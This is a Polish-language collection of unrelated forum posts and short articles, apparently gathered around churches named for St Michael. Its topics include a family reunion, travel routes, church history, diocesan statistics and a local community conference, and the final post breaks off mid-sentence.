Zjazd Rodzinny Klanu Kamińskich

Zjazd Rodzinny Klanu Kamińskich
6 i 7 czerwca w Lidzbarku odbył się zjazd potomków pełniącego obowiązki
przewodniczącego Rady Miasta w przedwojennym Lidzbarku Franciszka Kamińskiego
oraz jego małżonki Marianny

Pierwszy Zjazd Rodzinny Klanu Kamińskich odbył się 11 lat temu. Od tej pory
rodzina spotykała się trzy razy. Na czwarty zjazd rodzinny, który odbył się w
dniach 6-7 czerwca przyjechało 82 z 114 osób, należących do klanu. – Nie
dojechała cała Kanada – wyjaśnia nam 80-letni Euzebiusz Kamiński z Lidzbarka,
jedyny żyjący syn Franciszka i Marianny Kamińskich. – Od ostatniego zjazdu
rodzinnego zawiązało się siedem nowych małżeństw i urodziło się osiem wnuków i
prawnuków. W tym czasie trzyletnim zmarły trzy osoby – zaznaczył. IV Zjazd
Rodzinny Klanu Kamińskich rozpoczął się 6 czerwca mszą świętą w intencji całej
rodziny. Mszę w kościele św. Wojciecha poprowadził ks. kapelan Michał Kamiński
z Poznania, wnuk Franciszka i Marii Kamińskich. Po mszy członkowie klanu
odwiedzili rodzinne groby. Rodzina wybrała się także na nową promenadę, przy
małym jeziorku. – Ten zjazd miał charakter jubileuszowy – wyjaśniał nam
Euzebiusz Kamiński. – W maju minęło 50-ta rocznica kapłaństwa ks. Michała, w
lipcu z małżonką będziemy obchodzić 50-tą rocznicę naszego ślubu a w sierpniu
skończę 80 lat. Także w tym roku minęło 20 lat, jak wróciliśmy do Lidzbarka –
zaznaczył.

Więcej w 25 numerze "Tygodnika" z 23 czerwca 2009r

autor: Janusz Bielecki cyt. z tyg.działdowskiego

 

Radni o "Strategii rozwoju Lublina 2005-2013"

Lublin wg danych GUS za zeszły rok miał 360 tys. mieszkańców (oczywiście
stałych - faktycznie przebywa w Lublinie oczywiście dużo więcej - samych
studentów jest kilkadziesiąt tysięcy. Też nie pojmuję skąd dziesiąta pozycja.
Większe od Lublina są: Warszawa, Łódź, Kraków, Wrocław, Poznań, Gdańsk,
Szczecin i podobno Bydgoszcz - Katowice nie są już większe od Lublina - chociaż
kiedyś były - to miasto się wyludniło i w zeszłym roku liczyło tylko 320 tys.
mieszkańców. Poza tym warto zauważyć, że sama liczba ludności to jeszcze
niewiele - np. dużo większe znaczenie od całkiem sporej Bydgoszczy ma w
rzeczywistości nie tylko Lublin, ale dużo mniejsze miasta, jak Białystok, czy
jeszcze mniejszy Rzeszów.
Inna sprawa: mówi się o rewitalizacji Starego Miasta, ale warto pamiętać, ze
większość zabytków Lublina - i to nie mniej wartościowych niż te na Satrym
Mieście - znajduje się poza nim. Lublin wyszedł poza mury miejskie już w XV
wieku i jeśli mówimy o zabytkowym Lublinie, powinniśmy mieć na uwadze jeszcze
co najmniej Cały ciąg Krakowskiego Przemieścia, Narutowicza i Lubartowskiej,
Czwartek, Część Kalinowszczyzny, Ogród Saski i poprzemysłowe tereny wokół
dworca kolejowego. Wystarczy porównanie - na 32 zabytowe koscioły Lublina na
Satrym Mieście są tylko 3 - i w tym tylko jeden zachowany w całości.
Najcenniejsze (oprócz dominikanów) czyli katedra, bernardyni, karmelitki,
karmelici, kapucyni, św. Michał i augustianie oraz cerkiew pobazyliańska są
poza Starówką.

Piąty Poznań Maraton

Prawdziwym kretyństwem jest puszczenie rolkarzy
przez bruk na Starym Rynku. Widzieliście te plamy krwi po wywrotkach? Impreza
jest naprawdę super i zupełnie nie należy się przejmować dziamganiem kierowców
czy dewotek, które nie mogą przejść ul. św. Michała przez Warszawską do
kościoła św. Jana Jerozolimskiego inaczej jak przejściem podziemnym.
Głupich należy cywilizować na siłę, bo inaczej w tym chorym kraju wygra Rydzyk
z Jankowskim.
W Berlinie zamykają Kudamm z takiej okazji jak maraton i jest wspaniale a jest
to w końcu taka ulica, że nie tylko w Poznaniu ale i w Polsce nic podobnego nie
mamy.

Czy księdzu wolno grać w pokera?

Czy księdzu wolno grać w pokera?
Ksiądz wygrał 100 tysięcy dolarów w pokera

Katolicki wikary z parafii w Garden City w USA wziął udział w
telewizyjnym turnieju pokerowym i dał się tam poznać jako wytrawny
gracz. Ksiądz Andrew Trapp nie zdejmował koloratki do gry. Dobrze
blefował. Znalazł się w finale turnieju i wygrał 100 tysięcy
dolarów. Duchowny wie już, na co wyda pieniądze.

Ks. Trapp jest wikarym w kościele pw. Świętego Michała Archanioła w
Garden City (Południowa Karolina). Przyznał się, że zawsze grał w
karty. Gdy usłyszał o kwocie, którą można było wygrać w pokerowym
teleturnieju, nie wahał się ani chwili. Wiedział, że parafia
potrzebuje grubych milionów na remont kościoła. Poprosił
przełożonych o zgodę i obiecał im, że wygraną przeznaczy właśnie na
ten remont.

"Bóg dał mi talent do gry w karty i mogłem go użyć do pomocy w
budowie naszego kościoła" - cytuje słowa księdza za agencją
Associated Press portal Fronda.pl. Zdaniem duchownego Kościół nie
widzi nie złego w graniu w karty i grach losowych pod warunkiem, że
korzysta się z tego w granicach rozsądku.

www.dziennik.pl/swiat/article514158/Ksiadz_wygral_100_tysiecy_dolarow_w_pokera.html

 

Jeśli...

W sobotę 12 grudnia o godz. 11.00 w ostrowieckiej kolegiacie
zostanie odprawiona Msza za Duszę ŚP. Elżbiety. Może ktoś zechce
uczestniczyć? Pogrzeb w Opolu, też w sobotę o godz. 12.30 w kościele
p.w. Św. Michała.
Także i ja uważam, że Ela była wspaniałym, mądrym człowiekiem.
Poznałem Ją ponad dwadzieścia lat temu w "dwójce", gdzie była
pedagogiem. Póżniej wielu ludzi, których spotykałem czy to na
konferencjach dyrektorów szkół czy podczas studiów podyplomowych,
gdy okazywało się, że jestem z Ostrowca, pytało: " Z Ostrowca? Z
tego gdzie pracuje taka świetna dyrektorka Poradni Ela Sołtys?" To
mówi samo za siebie.Zawsze chętnie służyła radą i pomocą. Sam tego
doświadczałem. Strasznie trudnono pisać o niej w czasie przeszłym...

Muzyka cerkiewna w Beskidzie Niskim 2007

Muzyka cerkiewna w Beskidzie Niskim 2007
Chór Kameralny Cappella Musicae Antiquae Orientalis z Poznania oraz dyrygent, Leon Zaborowski zapraszają w dniach 8-11 lipiec 2007 na cykl koncertów "Muzyka cerkiewna w Beskidzie Niskim 2007", które odbędą się w uroczych, beskidzkich cerkwiach i kościołach.

Miejsca, daty oraz program koncertów:

Niedziela 8 lipca 2007
Pętna - godz. 13.00 - Cerkiew pod wezwaniem św. Paraskewy
Krynica - godz. 16.00 - Cerkiew pod wezwaniem Równego Apostołom Świętego Włodzimierza Wielkiego
Sękowa - godz. 19.30 - Kościół pod wezwaniem św. Jakuba i Filipa

Poniedziałek 9 lipca 2007
Gorlice - godz. 17.30 - Cerkiew pod wezwaniem św. Trójcy
Wysowa - godz. 20.00 - Cerkiew pod wezwaniem św. Michała Archanioła

Wtorek 10 lipca 2007

Hańczowa - godz. 18.00 - Cerkiew pod wezwaniem Opieki Bogarodzicy
Uście Gorlickie - godz. 20.00 - Cerkiew pod wezwaniem św. Paraskewy

Środa 11 lipca 2007
Gładyszów - godzina 17.00 - Cerkiew pod wezwaniem Wniebowstąpienia Pańskiego
Łosie - godzina 19.00 - Cerkiew pod wezwaniem Narodzenia Najświętszej Marii Panny
Nowica - godzina 21.00 - Cerkiew pod wezwaniem św. Paraskewy

Kaliszanie z Kalisza - a moze foto wycieczka?

Co racja,to racja. Bez cytryny nie dalibysmy rady. Dzieki stokrotne.
Dzisiaj zaliczylismy :
1. Dworce i zabudowania kolejowe w N.Skalmierzycach
2. Grenze uebergang czyli przejscie graniczne .
3.Tereny po obozie legionowym w Szczypiornie
4. Obwodnice w budowie + sciezka pieszo-rowerowa.
5. okolice Gruntpolu
6. Cmentarz Ukrainski.
7. bhunkier z Przedmoscia Kalisza
8. Dwor w Boczkowie + plantacje winniczkow :)+ obelisk J.Mertki,
9. Kosciol sw.Michala i cmentarz w Dobrzecu + dozynki gminne
10. Cm.Komunalny przy poznanskiej oraz las i strzelnice za kampusem
studenckim.
To wszystko w godz. 8.oo - 13.15 - wystarczy ?

Kościoły swiętych

Jeszcze wracając do tych kościołów - "Kosciół św. Michała Archanioła"
wynika z tego, że archanioły mają płeć. Sama nazwa - archanioł, choć jest
rodzajem męskim, jeszcze o nichym nie świadczy ale nadanie mu imienia - Michał,
już świadczy bezspornie o płci. Jeśli tak, to muszą być i archanioły żeńskie.
Co do diabłów to jest tak na pewno. Któryś z papieży wydał bullę i określił w
niej demony płci męskiej i żeńskiej (incubi i succubi). To zgadzałoby się, sam
w dzieciństwie jak późnym wieczorem przechodziłem taką nieuczęszczaną drózką od
strony zakrystii, pojawiła się taka zwiewna postać w czerni, otworzyło się okno
i ksiądz proboszcz powiedział - "choć moja diablico!". Niektórzy to
potwierdzali także i do wikarego, ten zapewne miał inne upodobanie co do
demonów, bo do niego przychodził - anioł, "choć mój aniele!" - mówił. Wracając
do tych archaniołów i aniołów, choć mają płeć, nie zostały zrodzone z kobiety,
więc nie mają pępka.
To bardzo ważny szczegół, po nim można poznać anioła, choć może być incognito
np. na plaży w Sopocie (wypoczywa w postaci ludzkiej). Nie ma pępka - to anioł.
Osobiście zainteresował mnie ten Michał-archanioł, ma swój zabytkowy kościół,
musi być to ktoś bardzo ważny, ciekawe czy ma żonę?

Kościół pw. św. Michała Archanioła na Bronowicach

Kościół pw. św. Michała Archanioła na Bronowicach
Kościół w Mąkoszynie został wybudowany według projektu prof. Zdzisława
Mączeńskiego.
"Pojechałem więc w tej sprawie do Warszawy i tu udałem się do (...) znanego w
całej Polsce p. Dziekońskiego. U niego poznałem współpracownika jego p.
Zdzisława Mączeńskiego, który zrobił na mnie bardzo miłe wrażenie i dlatego
też z całym zaufaniem prosiłem o radę. On pierwszy poddał mi myśl, aby
ogłosić konkurs na budowę kościoła w Mąkoszynie. Zastosowałem się do jego
rady i konkurs został ogłoszony (...) a szczęśliwym zrządzeniem Opatrzności
było, że na sądzie konkursowym p. Mączeński otrzymał pierwszą nagrodę. Plan
jego (...) wszystkim bez wyjątku się podobał. Dlaczego? Bo kościół był
projektowany w stylu swojskim, do polskiej wsi dostosowanym, (...) stworzył
[Z.M.] rzecz nową, oryginalną, swojską i dlatego piękną" ks. W[ładysław]
Wrzaliński, Mąkoszyn. Budowa nowego Kościoła w czasie wojny. Kronika Dyecezyi
Kujawsko-Kaliskiej. 1920, nr 2, s. 44 - cytat za K. Stefański, O
architekturze sakralnej Zdzisława Mączeńskiego raz jeszcze, Kwartalnik
Architektury i Urbanistyki XXXIX: 1994, z. 4.

Szukamy PRLu-gdzie jechac?

Bardzo fajny pomysł:
W Krakowie: Pomorska i Józefińska (tu można wrócić za rok szlakiem Gestapo) -
katownie NKWD i UB i Montelupich+ dawny kosciół św.Michała, Nowa Huta (cała)+
Grębałów -grób Bogdana Włosika,Wawel i Rynek- tam były zadymy, ul.Szewska- tam
zginął Pyjas.Centrum Warszawy, centra miast na Ziemiach Odzyskanych, obóz w
Jaworznie, Bieszczady- akcja Wisła,Łambinowice- tam trzymali Ślązaków.
Poznań, kopalnia Wujek, Lubin, Stocznia Gdańska i pomniki w Gdyni i Szczecinie,
Zatoka Czerwonych Świń w Wilanowie, Rafineria Płocka i Gdańska, Police, Huta
Katowice, Przejazd gierkówką na trasie Warszawa- Katowice.Trasy obiektywne:
pokazują także rozwój Polski i coś dla miłośników historii i sztuki i
szuakjących mocnych wrażeń.
Za rok proponuje wycieczkę śladami drugiego systemu totalitarnego, który
odcisnął przez kilka lat niezatarte piętno w Polsce (czy aby dzisiaj mamy
rocznicę powstania w gettcie?).
Pózniej można jeszcze szlakiem III Rzeczypospolitej, a po kolejnych wyborach
szlakiem resztek IV.

woda sw. Stanisuawa

Trasa św. Stanisława Biskupa Męczennika

W trakcie naszego spaceru, wiodącego ze wzgórza wawelskiego na Skałkę, poznamy
miejsca związane z postacią świętego Stanisława - biskupa, który zginął śmiercią
męczeńską w 1079 z rąk króla Bolesława Śmiałego. Poznając niezwykłą historię
życia, śmierci i kultu patrona Krakowa i Polski, przejdziemy trasę, którą
corocznie w maju pokonują uczestnicy procesji z relikwiami św. Stanisława.

Nasza trasa powiedzie przez:

* 1.Katedrę na Wawelu, gdzie znajdują się relikwie św. Stanisława.
* 2.Barokowy kościół Bernardynów.
* 3.Barokowy kościół Misjonarzy.
* 4.Gotycki kościół śś. Katarzyny i Małgorzaty.
* 5.Kościół św. Michała Archanioła i św. Stanisława BM na Skałce wraz z
Kryptą Zasłużonych.
* 6.Plac Wolnica i Gotycki kościół Bożego Ciała.

www.przewodnicy-krakow.pl/trasa_sw_stanislawa.php
Ta stronka jest fajna.

Zgubna pedagogika Steinera

Co więcej, władze szkoły usilnie nakłaniają wierzących rodziców, aby nie
zaniedbywali posyłania dzieci na tego rodzaju zajęcia.

Nauczanie wolnej religii chrześcijańskiej powinno pozwolić młodemu człowiekowi
na wytworzenie sobie własnego, ugruntowanego poglądu na sprawy religii. Jest
ono oparte na zasadach chrześcijańskich, nie wiąże się jednak z żadnym
szczególnym wyznaniem. W klasach I-IV kładzie się tu nacisk na ukształtowanie
odpowiedniej postawy moralnej. Poznając historie ze Starego Testamentu, dzieci
uczą się czci dla Boga, umiłowania prawdy oraz miłości bliźniego. W klasach V-
VIII, głównie dzięki lekturze Ewangelii, uczniowie poznają postaci będące
wzorami chrześcijańskiego życia. W klasach IX-XII przeżywająca pierwsze kryzysy
religijne młodzież zapoznaje się z historią Kościoła oraz religiami
niechrześcijańskimi.

Oprócz lekcji religii w szkołach waldorfskich organizuje się również
zróżnicowane ze względu na wiek uczniów niedzielne święta, w których
uczestnictwo jest dobrowolne. Elementy religijne również występują w nauczaniu
innych przedmiotów. O Adwencie, Bożym Narodzeniu, święcie Trzech Króli, Wielkim
Poście, Wielkanocy, Zielonych Świątkach, a także o uroczystościach ku czci św.
Jana Chrzciciela, Michała Archanioła i św. Mikołaja przypominają czytane
podczas lekcji literatury teksty, wykonywane na zajęciach muzycznych pieśni czy
przygotowane w ramach zajęć plastycznych dekoracje. Szkoła nie stara się
zacierać różnic religijnych, lecz od najmłodszych lat uczy wzajemnego
zrozumienia i szacunku dla osób o odmiennych poglądach. Bardzo istotne
znaczenie dla kształtowania światopoglądu ucznia ma również nauka o człowieku i
biologia.
Całość artykułu :
www.vulcan.edu.pl/eid/archiwum/1998/04/wolnosc.html

Władze Poznania muszą zwrócić ziemię parafii

Człowieku, bzdury piszesz !!!
. Trzeba sprawdzić kto
> nadał ta ziemię ( 25 ha ). Moze Kazimierz Wielki , a może
> Wiluś ?!.A może to spadek po bużnicy(???!!!)albo zapisali ci
> co umieli pisać ? Ja malutki nie wim, ale osobiście nie
> podoba mi się aby po 50 latach ( zasiedzenie)odzywały sie
> prawa własnościowe bo wróciła demokracja.

Najpierw zajrzyj do podręczników historii.
Parafia św. Jana Jerozolimskiego to jedna z najstarszych w Poznaniu.
(ponad 800 lat historii). Prowadzona przez Joannitów ( Szpitalnicy -
późniejszy zakon Kawalerów Maltańskich) wielce zasłużona dla miasta
ze względu na swoją działalność charytatywną.

Z historią tejże komandorii poznańskiej pokrywa się w zasadzie duża część
historii Zakonu św. Jana Jerozolimskiego w Polsce. Joannitów sprowadzono tam do
obsługi szpitala-hospicjum dla ubogich i wędrowców, ufundowanego (jeśli wierzyć
Długoszowi) dokładnie 6 maja roku 1170 przy kościele pod wezwaniem św. Michała
przez biskupa Radwana i księcia Mieszka Starego. Według dokumentu biskupa
Benedykta, pochodzącego z przełomu lat 80-tych i 90-tych XII wieku, osiedlenie
się tam zakonników nastąpiło to dopiero w r. 1187 i tę też datę większość
badaczy przyjmuje za początek domu zakonnego rycerzy św. Jana w Poznaniu. Tym,
co zdecydowanie odróżnia komandorię poznańską od innych, w różnych okresach
znajdujących się na ziemiach polskich, jest jej żywotność: funkcjonowała ona
mianowicie nieprzerwanie przez ponad 600 lat. Po zlikwidowanej w 1811 r.
komandorii w Poznaniu pozostały do dziś: zabytkowy kościółek pod wezwaniem św.
Jana (pierwszy w Wielkopolsce wzniesiony z cegieł) oraz nazwa miejsca -
"Komandoria" i okolicznych terenów - "Malta."

Dopiero władza komunistyczna prawem kaduka zagarneła cudzą ziemię
nie troszcząc się nawet o formalne czy prawne uzasadnienie swoich
działań. W myśl prawa ta ziemia była i jest nadal własnością parafii
bezprawnie użytkowana przez miasto.
Tak na marginesie to te pieniądze na pewno nie będą zmarnowane bo
parafia nadal prowadzi działalność charytatywną (np. bezpłatną przychodnię
lekarską).

Może by pan Grobelny bardziej się zaiteresował sprawami miasta, a nie tylko
swoimi prywatnymi interesikami. Tym co jest ważne dla tradycji i
historii miasta. To parafia nie mogła się przez lata doprosić załatwienia
polubownego sprawy bo miasto miało to gdzieś. A teraz dziwne oburzenie.

Szlak Piastowski - ile czasu potrzeba?

Hmm, dobre pytanie :)
Na sam Poznań (ktory przeciez jest początkiem Szlaku) przeznacz minimjum jeden
cały dzień : wiem, że pewnie swoich dzieciaków do wszystkich kościołów brać nie
będziesz, ale na pewno odwiedź katedrę (koniecznie z podziemiami), Farę, Maltę -
tu stoi mały cudowny kościółke św. Jana, 1 polski budynek z cegły!! + otoczenie
(alr to raczej sportowo-rekreacyjne, a nie historyczne), Tradycyjnie Rynek,
koniecznie Makieta (jedna z dwóch), warto wybrać się do wnętrza Zamku
Cesarskiego, nowe ZOO, Palmiarnia.
Jeśli amsz więcej czasu to jest Cytadela, niesamowicie klimatyczny stary
cmentarz na Wzgórzu św. Wojciecha, może meteoryty w Morasku...

Potem już poza Poznaniem :
- Pobiedziska - tu IMHO bym sobie odpuścił skansen MIniatur (poznańska Makieta
jest o dwa nieba lepsza!!), za to warto wskoczyć na chwilke na pobiedziski
ryneczek - fajny kościółke św. Michała - powiedzmy 1h.
- Ostrów Lednicki - przeznacz min 2h tylko na Mały Skansen i na Wyspę, a jeśli
chcesz jeszcze obejrzeć Skansen Budownictwa Wielkopolskiego, to min kolejna
godzina (wszystkie obiekty są tuż obok siebie).
- Gniezno - jak z bicza 3h. Pewnie zmarnujesz (szczególnie w sezonie) trochę
czasu w kolejce do Drzwi czy do katedralnych (znów!!) podziemi. Potem warto
zajrzeć an Rynek, do sąsiedniej Doliny Pojednania z dębami, i - koniecznie -
Muzeum początków Polski - tam też czasem sie trochę czeka.

Północna część Szlaku :
- w Gąsawie zatrzymaj się choćby na chwilkę przy pomniku Leszka I
- Biskupin - jak z bicza 1,5h, dojedź sobie dalej kolejką wąskotorową do
sąsiedniej Wenecji - tam pewnie godzinka zejdzie na skansen wąskotorowy, a
kilkanaście chwil zapoznanie się z legendami Diabła Weneckiego ;)

Reasumując trzeba na wszustko w zasadzie 2,5 dnia - to takie minimum, żeby sie
nie spieszyć. Bo i po co - lepiej raz, a porządnie :) No i warto tez pochłonąć
klimat miejsca :)

Powodzenia - Joanna

Historia i piękno Ziemi Średzkiej -Śnieciska

Historia szkoły w Śnieciskach,której budynek został zbudowany już w 1836 roku
jest opisana w portalu Zaniemyśla,więc ją tu pominę.Wspomnę natomiast o
kościele parafialnym p.w.św.Marcina.Parafia Śnieciska wzmiankowana w 1416 r.,do
1796 r. była własnością kapituły gnieźnieńskiej.Obecny kościół,wzniesiony w
1767 r.staraniem ks.Franciszka Brzezińskiego.Przy budowie działał zapewne
majster ciesielski Jan Ślumski(napis na zachodniej ścianie kruchty).W 1926-29
restaurowany i odmalowany w/g projektu Wiktora Gosienieckiego.Prezbiterium
zwrócone na zachód.Drewniany,konstrukcji zrębowej,oszalowany.Nawa prostokątna z
węższym prezbiterium,zamkniętym prosto.Przy prezbiterium od płd.zakrystia,od
płn.kaplica Pana Jezusa na miejscu skarbczyka(od 1929 r.),przy nawie od wschodu
kruchta.Wewnątrz strop,w nawie o zaokrąglonych narożach,wsparty na trzech
parach słupów z wysokimi,profilowanymi cokołami,wydzielających rodzaj naw
bocznych.Na profilowanej belce tęczowej krucyfiks,późnogotycki poł.w.XVI.Chór
muzyczny,wsparty na czterech słupach z wybrzuszoną balustradą.Dachy
dwuspadowe,na zakrystii wspólny z prezbiterium,kryte gontem.Szczyt wschodni
oszalowany,na nim krucyfiks ludowy.Portal w prezbiterium do kaplicy Pana Jezusa
rokokowy 2 poł.w.XVIII z rzeźbą Michała Archanioła i kartuszem,w którym napis
dewocyjny.Ołtarz główny barokowy 2 poł.XVIIIw. z rzeźbami św.Anny i
św.Joachima.Dwa ołtarze boczne:1) barokowy 2 poł.XVIIIw.,z rzeźbami aniołów i
obrazem św.Józefa z Dzieciątkiem,2) rokokowy 2 poł.XVIIIw.,ze współczesnymi
obrazami Matki Boskiej z Dzieciątkiem i św.Rocha.Obraz św.Barbary około
poł.XVIIw.W kruchcie kropielnica późnogotycka,kamienna,w kształcie kielicha
pocz.XVI wieku.Konfesjonał z inicjałami ks.Franciszka Brzezińskiego i datą 1797
r.Rzeźby barokowe dwóch świętych i świętego Jana Nepomucena(z kapliczki).
Monstrancja 1715 r. z cechą imienną złotnika poznańskiego Godfryda Wernheide.
Kielich 1695 r.Relikwiarz w kształcie krzyża z symbolami ewangelistów na
ramionach -2 poł.XVIw.Stopa w.XVIII.Trybularz 1 poł.XVIIIw.
Dzwonnica -drewniana,konstrukcji słupowej,nakryta dachem dwuspadowym,krytym
dachówką.Dzwony z napisami minuskułowymi 1) z 1744 r. 2) z XVIw. 3) z 1615 r.
odlany przez Michała Richtera.

Poznajemy naszą BYDGOSZCZ

Kilka parafii może w przyszłości zacząć budować nowe kościoły np par. bł.
Michała Kozala na Miedzyniu, kilka może powstać np w Fordonie na os. Eskulapa.

4. Diecezja

25 III 2004 papież Jan Paweł II utworzył Diecezję Bydgoską obejmującą miasto
Bydgoszcz, Krajnę i częściowo Pałuki, na obszarze województw: kujawsko-
pomorskiego i wielkopolskiego. Diecezja bydgoska wchodzi w skład metropolii
gnieźnieńskiej obok diecezji gnieźnieńskiej i włocławskiej.

Diecezja bydgoska rozciąga się na terenie ok. 5200 kilometrów kw. Zamieszkuje
ją ok. 590 tys. wiernych, z czego dwie trzecie to mieszkańcy Bydgoszczy.
Diecezja została podzielona na 15 dekanatów ze 145 parafiami: 39 parafii typowo
miejskich, 24 miejsko-wiejskie i 82 wiejskie. W duszpasterstwie pracuje 383
kapłanów, z czego 279 to kapłani diecezjalni. Na terenie diecezji znajduje się
9 zgromadzeń zakonnych męskich i 14 żeńskich. Po ostatnim badaniu religijności
w parafiach, można powiedzieć, że do komunii wielkanocnej przystępuje ok. 80
proc. wiernych, a około połowa co niedzielę uczestniczy we mszy świętej.

Na terenie diecezji funkcjonuje kilka wyższych szkół teologicznych:
- Wyższe Seminarium Duchowne im. bł. bpa Michała Kozala, które mieści się Domu
Prowincjalnym Zgromadzenia Ducha Świętego w Bydgoszczy. Obecnie studiuje tutaj
58 seminarzystów, z czego 13 na pierwszym roku.
- sekcja Wydziału Teologicznego Uniwersytetu Adama Mickiewicza z Poznania, na
której obecnie studiuje około 200 świeckich studentów.
- Seminarium Misyjne Zgromadzenia Ducha Świętego w Bydgoszczy

Kuria Diecezji Bydgoskiej - ul. Ks. Malczewskiego 1
Tymczasowa strona www: mikolaj-bydgoszcz.home.pl/diecezja/diecbyd.htm
strona oficjalna: www.diecezja.byd.pl

Do Diecezji Bydgoskiej przynależą dekanaty:
- Bydgoszcz I Północ (11 parafii, w tym Sanktuarium MB Trzykroć Przedziwnej)
- Bydgoszcz II Śródmieście (9 parafii, w tym Sanktuarium Madonny Bydgoskiej)
- Bydgoszcz III Południe (9 parafii)
- Bydgoszcz IV Wyżyny (11 parafii, w tym Sanktuarium Nowych Męczenników)
- Bydgoszcz V Fordon (10 parafii)
- Kcynia (10 parafii, w tym Sanktuarium Krzyża Św. w Kcyni)
- Łobżenica (9 parafii, w tym sanktuarium MB Góreckiej Królowej Krajny)
- Mrocza (12 parafii)
- Nakło (10 parafii)
- Osielsko (9 parafii)
- Sępólno Krajeńskie (6 parafii)
- Szubin (13 parafii)
- Wyrzysk (8 parafii)
- Wysoka (9 parafii)
- Złotów (12 parafii)

Ongiś Jerzy Kichler,powiedział,że prawdopodobnie

vitalia napisała:

> Na stoisku pod kościołem św. Jakuba na warszawskiej Ochocie leżą obok siebie
> książki Jana Pawła II i liczne publikacje o spisku "masońsko-judaistycznym" w
> Polsce - pisze Gazeta Wyborcza. Stoisko rozkłada się codziennie na chodniku
> przy pl. Narutowicza, naprzeciwko kościoła. Po jednej stronie są
wyeksponowane
> książki "Pamięć i tożsamość" czy "Tryptyk rzymski" Jana Pawła II, po drugiej -

> publikacje ewidentnie antysemickie. Handlarz poleca klientom to nowy
> ilustrowany album o Papieżu, to "Chrześcijaństwo a zorganizowany naturalizm
> masońsko-żydowski". W tej drugiej książce czytamy: "Obowiązek
przeciwstawienia
> się dominacji naturalizmu żydowskiego w społeczeństwie ciąży na każdym
katoliku
>
> i na każdym, kto szczerze kocha swój kraj rodzinny". "Chcę, żeby prawda
wyszła
> na jaw" - wyjaśnia. Jak to prawda? Że Żydzi rządzą Polską. Wiele czytał
> o "spisku masońsko-judaistycznym" i wierzy, że posiadł wiedzę niedostępną dla
> innych, "wychowanych na telewizji". Zdaniem jego i kolegów, którzy rozkładają
> się na stolikach obok, Żydów w Polsce jest coraz więcej. Skąd to wiedzą? "Ja
> tam po nosach czy uszach nie rozpoznaję. Ale patrzę, czy kupują Wyborczą,
Nie,
> Politykę" - tłumaczy jeden z nich. Proboszcz parafii św. Jakuba nie ma nic
> przeciw handlowi pod kościołem. Do tego chodnik nie należy do parafii, a jemu
> nie płacą za usuwanie kramarzy. "Nie płacą, ale to on odpowiada za swoich
> wiernych. Czy jest rzeczą obojętną, czym są karmieni jego parafianie? Czy
> biskup, którego obowiązkiem jest wizytowanie parafii, też tego nie widzi?" -
> oburza się ks. prof. Michał Czajkowski, biblista, współprzewodniczący
Polskiej
> Rady Chrześcijan i Żydów. "Takie materiały są obrazą Boga. Stoją nie tylko w
> sprzeczności z nauczaniem Jana Pawła II, ale i z Ewangelią". Publikacjami
> antysemickimi handluje się nie tylko na pl. Narutowicza. Można je też kupić
na
> Krakowskim Przedmie?ciu przed Uniwersytetem Warszawskim, przed kościołem św.
> Stanisława Kostki na Żoliborzu i w księgarni Antyk przy kościele na pl.
> Grzybowskim. (za Gazetą Wyborczą, 2 czerwca 2005)
> FŻP
>
> Tu masz częściową odpowiedż..
Masz całkowitą rację.Sam dość niedawno z dwa lata temu zauważyłem w kiosku na
terenie pewnego Urzędu Miasta dość duzego miasta książkę Bubla o znanym
wwszystkim tyt. "Po czym poznać Żyda",kiedy kioskarzowi zwróciłem uwagę,poz. ta
po dwóch dniach zniknęła z wystawki.

Konferencja o Białołęce i potrzebach mieszkańców

Konferencja o Białołęce i potrzebach mieszkańców
Czego najbardziej brakuje mieszkańcom Białołęki?
Jakie są potrzeby mieszkańców blokowisk, a jakie mieszkańców osiedli domów
jednorodzinnych?
Potrzeby mieszkańców, a plany władzy – czy idą sobie na spotkanie?
Mocne strony Białołęki? Gdzie drzemie ukryty potencjał?

Zaproszenie

1 lipca (Niedziela) o godz. 12.30
odbędzie się w Białołęckim Ośrodku Kultury (ul. Van Gogha 1)
Konferencja pdt. "Prezentacja wyników twórczej diagnozy terytorium Białołęki"

Program:
12.30 – 12.45 Metody diagnozy terytorium społecznie odpowiedzialnego.
12.45 – 13.20 Prezentacja wyników diagnozy.
13.20 – 14.00 Dyskusja z udziałem mieszkańców i słuchaczy studium.

więcej na stronie:
www.bialoleka.waw.pl/
Poznamy wyniki przeprowadzanych wywiadów z mieszkańcami Białołęki w dniach 2-
3 czerwca.
Z naszych okolic były to następujące grupy:
- mieszkańcy domków
- rodziny z dziećmi mieszkakjący w domkach
- młodzież, wychowawcy, władze szkół – na ul.Berensona i ul.Kobiałka
- seniorzy, emeryci mieszkający w domkach
- przedstawiciele Parafii Kościoła św.Michała Archanioła z ul.Głębockiej
- środowiska twórcze – m.in. - liderzy zajmujący się pomnikami historycznymi
najbliższej okolicy - Cmentarzami Ewangelickimi
- Stowarzyszenie Zielona Białołęka
- radni: p. Waldemar Roszak, p. Krzysztof Pelc

Dodatkowa konferencja prasowa specjalnie dla mediów odbędzie się w środę 4.07
o godz. 16 w Ratuszu.
Mieszkańców Białołęki posiadających kontakty wśród mediów prosimy o pomoc w
wysyłaniu zaproszeń.
Osobą do kontaktu jest:
Piotr Oracz - Przewodniczący Komisji Polityki Społecznej i Ochrony Zdrowia
tel. 0602 556 940, mail: poracz@poczta.fm

Wesele w Kanie

Jest to chyba Dar Ducha Świętego . Kiedyś Biblia była dla mnie
trudna , teraz po latach modlitwy i medytacji , Wylaniu Ducha
Świętego , umiem to jakoś połączyć . Umiem oddzielić w swoim umyśle
to co jest naleciałością przekazu historycznego , co błędem umysłu
ludzkiego , lub interpretacją sprzed tysiącleci kiedy umysł ludzki
nie umiał podeprzeć się nauką . Jezus mówi :"Ja i Ojciec Jedno
Jesteśmy " - Jezus do mnie przemawia swoim życiem , cudami ,
Miłością aż po Krzyż dla nas słabych dzieci Boga - jednocześnie
Stary testament mówi że Bóg Jahwe jest srogi i karzący . Komu więc
Wierzę ? Wierzę Jezusowi . ON mówi Prawdę o Bogu Ojcu , o Jego
Miłości do nas Jego dzieci . ON i Ojciec JEST JEDNYM . Skąd więc
przekaz o srogości Boga i przykłady z historii Izraela ? Stąd że
człowiek tamtych /dzisiaj również/ czasów nie umiał Otworzyć się na
Boga - Miłość - a jednocześnie Ten Bóg Miłość aby ratować swe
dzieci , pozwalał im korzystać ze swojej Mocy aby w czasie
doprowadzić ludzkość do Zrozumienia Miłości . Od czasów Jezusa znamy
Kim Jest Bóg - Jest Dobrym i Kochającym Ojcem . Nie dziwię się Tobie
Michale wcale , a wcale , nawet w moim Kościele nie każdy zrozumiał
